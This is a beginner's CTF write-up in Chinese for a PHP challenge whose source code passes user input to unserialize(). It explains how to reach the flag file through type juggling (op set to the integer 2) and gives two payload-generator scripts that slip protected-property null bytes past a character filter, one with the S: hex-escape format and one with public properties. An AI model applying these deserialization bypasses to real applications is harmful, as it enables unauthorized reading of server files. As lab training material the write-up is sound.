本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,直接将源码给我们了,进行代码审计,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {
//定义三个保护属性:$op,$filename,$content
protected $op;
protected $filename;
protected $content;
//魔术方法__construct():对三个保护属性赋值,调用process()方法
function __construct() { //魔术方法__construct() 实例化对象时被调用
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
//根据$op值选择写入方法write()或读出方法read()
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
//向$filename写入$content,对$content长度进行限制
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
//读出$filename文件内容
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
//对$s进行输出
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
//魔术方法__destruct():调整$op属性与$content属性的值,并调用process方法
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}
//检查传入的数据每个字符在ASCLL 32-125之间
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
//GET请求传入str参数,并对str参数进行is_valid($str)检查
if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

代码有点长,但对每个方法进行分析还是很清晰的,推出这是一道反序列化漏洞题,
输出flag的条件有两个:
1.op=2,直接等于整数型2,可以绕过__destruct()中的强相等==='2',又可以符合__construct()中的弱相等=='2'
2.filename='flag.php'
尝试构筑payload:

发现保护属性序列化会有特殊符号\x00(也就是NULL符号,ASCLL码值为0)会被is_valid($s)过滤掉

方法一:十六进制表示绕过

PHP 的序列化格式中,字符串有两种表示方法:

s: - 标准字符串表示

1
s:5:"Hello"

S: - 支持十六进制转义的字符串表示(PHP 特有扩展)

1
S:5:"H\x65llo"

S: 的十六进制表示特性

S: 格式允许使用 \xHH 形式表示字符:
\x00 → 可以表示为 \00
\x2a (*) → 可以表示为 \2a
所以我们可以:
s: 替换为 S:
\x00 替换为 \00

进行绕过

is_valid() 通常检查ASCII 0-31的控制字符
\00是三个可见字符\, 0, 0,不是真正的NULL字节
PHP 反序列化时会将\00重新解释为\x00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class FileHandler {
protected $op = 2;
protected $filename = "flag.php";
}

$obj = new FileHandler();
$payload = serialize($obj);

// 关键转换步骤
$payload = str_replace('s:', 'S:', $payload); // 替换类型标识
$payload = str_replace("\x00", '\00', $payload); // 替换 NULL 字节

echo $payload;
?>



查看源码,

获得flag

方法二:使用 public 属性代替 protected

PHP 7.1+ 版本对属性修饰符(public、protected、private)的序列化处理较为宽松,public 属性不会引入\x00字符,因此可以直接绕过
is_valid()检查。

1
2
3
4
5
6
7
8
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "";
}
$filehandler = new FileHandler();
echo serialize($filehandler);



查看源码,